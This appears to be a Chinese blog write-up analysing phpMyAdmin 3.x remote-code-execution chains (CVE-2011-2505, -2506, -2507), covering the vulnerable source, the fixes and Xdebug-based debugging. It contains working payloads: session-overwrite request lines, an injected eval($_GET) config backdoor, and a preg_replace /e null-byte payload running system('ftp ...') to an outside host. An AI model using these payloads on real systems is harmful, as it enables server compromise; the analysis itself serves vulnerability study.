返回
顶部

前言

前段时间工作遇到了pma 3.x,版本挺低的,想着搜一下看有没有现成的exp来利用一下,然后就搜到了CVE-2011-2505CVE-2011-2506联合导致的RCE漏洞

其中前者是$_SESSION变量的覆盖漏洞,后者是远程代码注入漏洞,两者联合可以将任意代码写入配置文件,利用的唯一条件是目标pma根目录下存在config目录

参考链接:

环境准备

IDEA配置php调试环境不必多说,也很简单,主要就是pma 3.x版本过低,找起来不太容易,这里直接提供下载链接,这里是pma 3.2.4

在测试第三个漏洞的时候,我发现pma 3.2.4并没有漏洞文件,全局搜索也未找到和漏洞描述相似的文件,因此直接去pma的github下载了3.4.2版本进行测试,

另外一点就是这个洞的调试不能直接在浏览器中调试,因为变量覆盖的地方是session销毁的地方,如果在浏览器中调试,在第二阶段利用过程中,服务器会向浏览器返回新的cookie,那么我们先前构造的$_session变量的值也就不存在了,因此我们需要对网上下载回来的exp脚本进行更改以进行调试

在脚本第39行增加$XDEBUG_SESSION_START = $argv[1];

修改101行内容为

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?XDEBUG_SESSION_START='.$XDEBUG_SESSION_START.'&_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);

修改112行内容为:

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?XDEBUG_SESSION_START='.$XDEBUG_SESSION_START.'&_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);

在执行exp时,使用如下形式即可:

C:\phpStudy\PHPTutorial\php\php-5.4.45-nts\php.exe C:\phpStudy\PHPTutorial\WWW\2.php http://localhost/phpMyAdmin-3.2.4-english/phpMyAdmin-3.2.4-english 14508

其中第一个参数为目标url,第二个参数为XDEBUG_SESSION_START的值

前台RCE漏洞分析

第一个漏洞 CVE-2011-2505

官方修复:

https://github.com/phpmyadmin/phpmyadmin/commit/7ebd958b2bf59f96fecd5b3322bdbd0b244a7967

漏洞文件:

libraries\auth\swekey\swekey.auth.lib.php,第266-276

if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
    parse_str($_SERVER['QUERY_STRING']);
    session_write_close();
    session_id($session_to_unset);
    session_start();
    $_SESSION = array();
    session_write_close();
    session_destroy();
    exit;
}

这里的关键位置就是268行的parse_str函数,官方推荐用法是传入两个参数,第二个参数用于限定变量的名称,但是这里却只传入了第一个参数,因此我们可以随意控制变量的名称和值,官方修复方法是将268行的代码删除,并从$_GET['session_to_unset']获取要销毁的session

下面给出给函数的官方示例,方便理解:

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不推荐
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

我们在构造的QUERY_SETRING中将session_to_unset的值设置为x,这个其实就是告诉pma要销毁的sessionid,在PHP中,session文件以sess_cookie的形式进行存储,其中cookie就是我们的sessionid,因此我们只要设置一个和我们先前获取到的cookie值不一样的字符串即可避免session被销毁

1599013809753

第二个漏洞 CVE-2011-2506

官方修复:https://github.com/phpmyadmin/phpmyadmin/commit/0fbedaf5fd7a771d0885c6b7385d934fc90d0d7f

漏洞文件:

setup\lib\ConfigFile.class.php,第286-299

if ($this->getServerCount() > 0) {
    $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf . $crlf;
    foreach ($c['Servers'] as $id => $server) {
        $ret .= '/* Server: ' . strtr($this->getServerName($id), '*/', '-') . " [$id] */" . $crlf
            . '$i++;' . $crlf;
        foreach ($server as $k => $v) {
            $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
            $ret .= "\$cfg['Servers'][\$i]['$k'] = "
                . var_export($v, true) . ';' . $crlf;
        }
        $ret .= $crlf;
    }
    $ret .= '/* End of servers configuration */' . $crlf . $crlf;
}

可以看到在第289行使用strstr函数检测$this->getServerName($id)中是否存在注释符,虽然这个地方被检测了,但是$ID并没有被检查,所以我们可以在这里做手脚,也就是说我们构造$c['Servers']的值闭合注释符号即可注入我们自己的代码,而$c['Servers']中的$c的值是$c = $_SESSION['ConfigFile'];,根据上一个漏洞,我们可以控制$_SESSION变量的值,那也就意味着我们可以控制$c变量的值,从而闭合注释符注入代码

官方的修复方法是对$id也进行了注释符的检测

exp脚本分析

根据上面的分析,我们前后一共需要发起三次请求:

  • 第一次请求获取cookie和token并保存以待后用
  • 第二次请求构造$_SESSION变量的值
  • 第三次请求保存注入了我们的代码的配置文件到服务器的config目录

setup\config.php的第49行file_put_contents($config_file_path, ConfigFile::getInstance()->getConfigFile());调用file_put_contents函数将注入代码写入配置文件,$config_file_path的值是./config/config.inc.php,从这里我们跟入ConfigFile::getInstance()->getConfigFile()

放开前一个漏洞文件的断点,跟入第二个漏洞文件,$ret最终的值为:

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.2.4 setup script by Piotr Przybylski <piotrprz@gmail.com>
 * Date: Wed, 02 Sep 2020 11:27:13 +0800
 */

/* Servers configuration */
$i = 0;

/* Server: localhost [*/foreach($_GET as $k=>$v)if($k==="eval")eval($v);/*] */
$i++;
$cfg['Servers'][$i]['port'] = '0';

/* End of servers configuration */

$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
?>

最后我们访问/config/config.inc.php即可进行命令执行等操作:

1599018034423

后台RCE漏洞分析

第三个漏洞 CVE-2011-2507

上面的两个漏洞联合可以触发前台RCE,后面的漏洞需要首先进行认证进入PMA后台才可以触发RCE,这个漏洞是利用的php的preg_replace函数存在的漏洞并结合第一个变量覆盖漏洞达到RCE的目的,根据Haxxor文章的分析,在php 5.3.6源代码的ext/pcre/php_pcre.c中,对preg_replace的第一个参数,也就是正则表达式的修饰符的处理中存在空字节截断的问题:

/*  Parse through the options, setting appropriate flags.  Display
    a warning if we encounter an unknown modifier. */
while (*pp != 0) {
    switch (*pp++) {
    /* Perl compatible options */
    case 'i': coptions |= PCRE_CASELESS;  break;
    case 'm': coptions |= PCRE_MULTILINE;  break;
    case 's': coptions |= PCRE_DOTALL;  break;
    case 'x': coptions |= PCRE_EXTENDED;  break;
    
    /* PCRE specific options */
    case 'A': coptions |= PCRE_ANCHORED;  break;
    case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break;
    case 'S': do_study  = 1;     break;
    case 'U': coptions |= PCRE_UNGREEDY;  break;
    case 'X': coptions |= PCRE_EXTRA;   break;
    case 'u': coptions |= PCRE_UTF8;
    /* In  PCRE,  by  default, \d, \D, \s, \S, \w, and \W recognize only ASCII
       characters, even in UTF-8 mode. However, this can be changed by setting
       the PCRE_UCP option. */
    #ifdef PCRE_UCP
    coptions |= PCRE_UCP;
    #endif  
    break;
 
   /* Custom preg options */
    case 'e': poptions |= PREG_REPLACE_EVAL; break;
    
    case ' ':
    case '\n':
    break;
 
    default:
        php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]);
        efree(pattern);
        return NULL;
    }
}

参考php官方手册对preg_replace函数的解释,从php 5.5.0开始,/e修饰符已经不被推荐,到了php 7.0.0,该函数已经被彻底移除,被preg_replace_callback()函数代替

php 5.3.6以及之前的版本中,/e修饰符将会指示preg_replace_callback将第二个参数作为php代码去执行,参考下面的例子:

<?php
$pattern     = '/'.$_GET['a'].'/e';
$replacement = $_GET['b'];
$subject     = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);

1599104545907

这个运行机制就是每匹配到一个模式就会执行一次第二个参数中的代码,还有就是不管你模式字符串怎么写,只要匹配到,都会至少执行两次,未匹配到则不执行

我们可以参考Haxxor给出的示例:

<?php
$pattern     = '/omfglol'.$_GET['mypattern'].'/i';
$replacement = $_GET['replacement'];
$subject     = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);

先写一个正则表达式,该正则表达式需要保证一定能匹配到待匹配的字符串,对于例子中的情况(存在拼接)我们可以使用|.*,来保证能够匹配到并减少命令执行的次数,然后再用空字节截断使preg_replace函数忽略后面的/i修饰符从而使代码能够正常运行而不报错,然后跟上要执行的命令即可

1599384250920

本文的测试环境使用的是phpstudy,从测试结果来看,preg_replace在php 5.4之后就已经不存在了

漏洞利用分析

漏洞的触发点是/server_synchronize.php,还是和上面的利用过程相同,先获取token和cookie,这不过这里有所不同,就是cookie是认证通过后的cookie,相比之前的cookie会多一些字段:

image-20200908005605483

然后再利用已经获取的token和cookie去构造$_SESSION变量,其中$_SESSION变量有两个键需要进行覆盖

_SESSION[trg_db]_SESSION[uncommon_tables],这两个变量的payload构造如下:

_SESSION[trg_db]=\`?phpinfo():'.$asdgajskdgas.';/**

_SESSION[uncommon_tables][0]=|/e%00

备注:第一次调试的时候,上面的payload的确是好使的,但是后来发现这样写会遇到下面的问题

/server_synchronize.php的第504至513,会有一个判断:

foreach ($cons as $con) {
    if (${"{$con}_type"} != "cur") {
        ${"{$con}_link"} = PMA_DBI_connect(${"{$con}_username"}, ${"{$con}_password"}, $is_controluser = false, ${"{$con}_server"});
    } else {
        ${"{$con}_link"} = null;
        // working on current server, so initialize this for tracking
        // (does not work if user defined current server as a remote one)
        $GLOBALS['db'] = ${"{$con}_db"};
    }
} // end foreach ($cons as $con)

如果原始连接(src_type)目标连接(trg_type)的类型值不为cur,则代码会在这里终止,没办法往后走,因此在构造payload的时候需要另外加上_SESSION[src_type]=cur&_SESSION[trg_type]=cur

其中$asdgajskdgas是使用urlencode函数处理过的php代码,因为使用了问号冒号表达式,因此最后形成的payload中

`\``

将恒为假(php中的`有执行命令的意思,只有命令执行成功了才会返回true),因此这里的phpinfo()随便写一个合法的php语句即可,反正也不会被执行

完成$_SESSION变量的覆盖之后,我们需要使用前面获取的token和cookie对http://localhost/pma3.x/server_synchronize.php发起第二次请求,在发起请求的同时将XDEBUG_SESSION_START参数也带上,以进行调试

我们首先在/server_synchronize.php的第504行下断点,然后运行exp脚本开始调试

image-20200908015849141

这里$_REQUEST[0]必须有值,我们才能进入for循环和下面的if语句,其次,$table_id[1]也不能为空,否则$uncommon_table_structure_diff数组将会是空的

image-20200908020100886

如果$uncommon_table_structure_diff数组是空的,那么我们将无法进入PMA_createTargetTables函数,也就无法触发RCE,因此我们在传入的参数中要加上0=123US0,这个参数中US后面的数字最后会影响到$uncommon_table_structure_diff[$s],在第一次循环中$s为0,也就是$uncommon_table_structure_diff数组的第一个值,这个值将会成为$uncommon_tables变量的索引,在上面构造payload的时候我们只写了_SESSION[uncommon_tables][0]=|/e%00,因此我们也要把US之后的数字设置为0以保证exp的正确运行

我们跟入PMA_createTargetTables函数来看一看我们的payload最后变成了什么样子:

image-20200908021522608

这里%00无法显示,不过已经插进去了

$a1 = "/`|/e"
$a1 = "`\``?phpinfo():system("ftp 114.x.x.95");/**`.`|/e"

可以看到我们构造的payload正好将用于转义我们的`使用\给转义了

进而消除了PMA_backquote函数带来的负面影响

我们可以看到vps已经收到了数据包:

image-20200908022017852

至此,命令执行完毕

对之前的payload进行更改,并完善了exp脚本之后,最终的效果如下:

1599544103285

exp接收四个参数,依次为pma_url、username、password、cmd

后记

在阅读作者的文章时,十分震撼,别人只是在relax的时候读了读pma的源码,就审出了好几个CVE,着实是太强了,另外在审计的过程中也学习到了session和cookie的关系和工作机制,对php的了解也更深入了一些

第三个漏洞导致的RCE的exp脚本,是受到Haxxor的博文下面的评论的提示并基于https://www.exploit-db.com/exploits/17514编写出来的,其实根据上面的分析也基本上可以写出来利用脚本了,不过有需要的同学可以在公众号后台留言获取exp脚本